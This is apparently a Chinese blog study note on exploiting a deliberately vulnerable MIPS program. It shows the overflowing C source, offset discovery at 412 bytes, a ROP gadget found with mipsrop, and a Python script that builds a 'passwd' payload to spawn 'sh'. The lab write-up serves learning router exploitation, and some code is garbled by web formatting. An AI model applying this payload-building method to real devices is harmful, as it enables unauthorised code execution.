這份實踐來自于學習-解密路由器漏洞的筆記和總結。主要用來回顧和鞏固整個過程,整個過程里面不是非常順利,主要的問題點在于對于溢出函數的地址的確定。
這個自己寫的漏洞代碼主要基于MIPS的編譯器進行編譯,通過這份基礎的溢出漏洞學習,主要用來為之后在路由器的漏洞溢出實踐中打好基礎。
下面開始review整個過程。
1. 首先我們來看看自己寫的一個存在溢出漏洞的源代碼
#include
#include <sys/stat.h>
#include
void do_system(int code,char *cmd)
{
char buf[255];
//sleep(1);
system(cmd);
}
void main()
{
char buf[256]={0};
char ch;
int count = 0;
unsigned int fileLen = 0;
struct stat fileData;
FILE *fp;
if(0 == stat(“passwd”,&fileData))
fileLen = fileData.st_size;
else
return 1;
if((fp = fopen(“passwd”,”rb”)) == NULL)
{
printf(“Cannot open file passwd!n”);
exit(1);
}
ch=fgetc(fp);
while(count <= fileLen) { buf[count++] = ch; ch = fgetc(fp); } buf[–count] = ‘x00′; if(!strcmp(buf,”adminpwd”)) { do_system(count,”ls -l”); } else { printf(“you have an invalid password!n”); } fclose(fp); }
這份代碼的主要功能就是從文檔“passwd”讀取密碼,如果密碼為adminpwd,那么就執行ls –l的指令,從而查看文件的列表。可以發現這里有個溢出的緩沖區就是來自于輸入的文檔“passwd”然后賦值到buf里面,由于沒有對buf進行控制,所以可能產生溢出漏洞。這里我們也主要針對這個漏洞進行測試。
那么總結下來挖掘一個MIPS漏洞的過程如下:
A. 確定能夠覆蓋函數地址的偏移,即劫持PC;
B. 尋找可以用來執行命令的函數;
C. 構造ROP chain;
D. 漏洞利用測試。
2. 首先來確定函數的偏移,可以利用教材自帶的字符串溢出測試工具進行測試
$ python patternLocOffset.py –c –l 600 –f passwd [*] Create pattern string contains 600 characters ok! [+] output to passwd ok! [+] take time: 0.0026 s 通過這個命令可以產生一個長度為600的溢出測試字符串,并且存儲到名為passwd的文件中。
3. 利用IDA進行MIPS程序的附加調試,在main函數返回函數之前下好斷點,然后附加程序運行起來
4. 可以發現覆蓋的內容為0x6e37416e, 那么接下來再次利用腳本來測試一下偏移是多少,可以得到偏移是412
$ python patternLocOffset.py -l 600 -s 0x6E37416E [*] Create pattern string contains 600 characters ok! [*] Exact match at offset 412 [+] take time: 0.0036 s
5. 偏移確定了,那么我們就可以控制PC了,我們檢測測試一下是否成功控制了PC,往passwd里面增加412個‘A’和接下來的4個‘B’
可以發現,我們可以成功控制PC。
6. PC可以控制了,接下來我們就看如何溢出到函數的位置
有兩種方式進行漏洞利用:1)復用程序里面的函數調用;2)構造shellcode。 我們這里主要進行程序里面函數復用的測試方式,shellcode的方式在之后再進行測試和使用。通過前面的程序內容分析,可以發現,系統里面有一個函數do_system_0函數可以執行指令:ls –l。 雖然僅僅只能執行一個命令, 但是只要對該函數的參數進行有效的溢出攻擊,那么就能夠實現任意系統命令的執行。在此之前,我們需要找一下可以構造函數溢出并且能夠返回的一個中間跳轉代碼塊,這里利用IDA的plugin mipsrop進行尋找:
指令執行之后,可以找到這個位置的代碼進行測試:text:00402050. 然后到對應的代碼段看,
可以發現這段代碼的功能,只要在$SP+0x54的位置存入需要執行的do_system_0函數的地址,然后在$SP+0x18的位置放入需要傳入的指令,就能夠實現任意命令的執行。
7. 所以,可以發現在添加了PC的偏移之后,需要再相隔0x18個byte再放置需要執行的系統函數的字符串, 然后在PC偏移之后相隔0x54個byte放置需要執行的函數的地址,也就是do_system_0的地址
從上面的截圖中可以發現do_system_0的函數?為0x00400420.
8. 那么我們就可以嘗試按照下面的方式構造一個passwd文件測試一下
import struct cmd = “sh” # command string cmd += “x00″*(4 – (len(cmd) % 4)) # align by 4 bytes #shellcode shellcode = “A”*0x19C # padding buf shellcode += struct.pack(“>L”,0x00402050) # “x00x40x1FxA0″(PC)
shellcode += “A”*24 # padding before command
shellcode += cmd # command($a1)
shellcode += “B”*(0x3C – len(cmd)) # padding
shellcode += struct.pack(“>L”,0x00400420) # “x00x40x05x90″
shellcode += “BBBB” # padding
print ‘ ok!’
#create password file
print ‘[+] create password file’,
fw = open(‘passwd’,’w’)
fw.write(shellcode)#’A’*300+’x00’*10+’BBBB’)
fw.close()
print ‘ ok!’
9. 構造了之后,可以直接用下面的方式進行執行
可以發現成功的進行了漏洞的利用,
到這里,MIPS程序的基礎的漏洞利用測試就完成了。
總結
這個程序里面有一個內部的do_system_0函數,并且不安全的輸入源是輸入文件passwd可以用來構造溢出漏洞文件。在之后的程序利用中,很可能主功能的程序里面并沒有一個可以利用的函數讓我們進行函數的溢出漏洞利用,需要進行shellcode的設計,即從系統庫函數里面找到system函數,并且調用與執行。后者的問題稍微麻煩些。
且,當前的這個函數do_system_0里面,對于輸入字符串的讀取,并不是一個字符串方式的提取,因此,如果是字符串的提取,會對于一些字節進行截取:0x00,如果指令里面存在這樣的字符串,可能會導致注入程序的字符串被截斷,從而導致程序漏洞利用失敗。為此,需要進行shellcode編碼或者用其他指令代替或者多跳轉幾次ROP chain從而將bad byte消除。
下一次將繼續分享總結,如何進行shellcode的編碼以繞過字符串截斷的問題。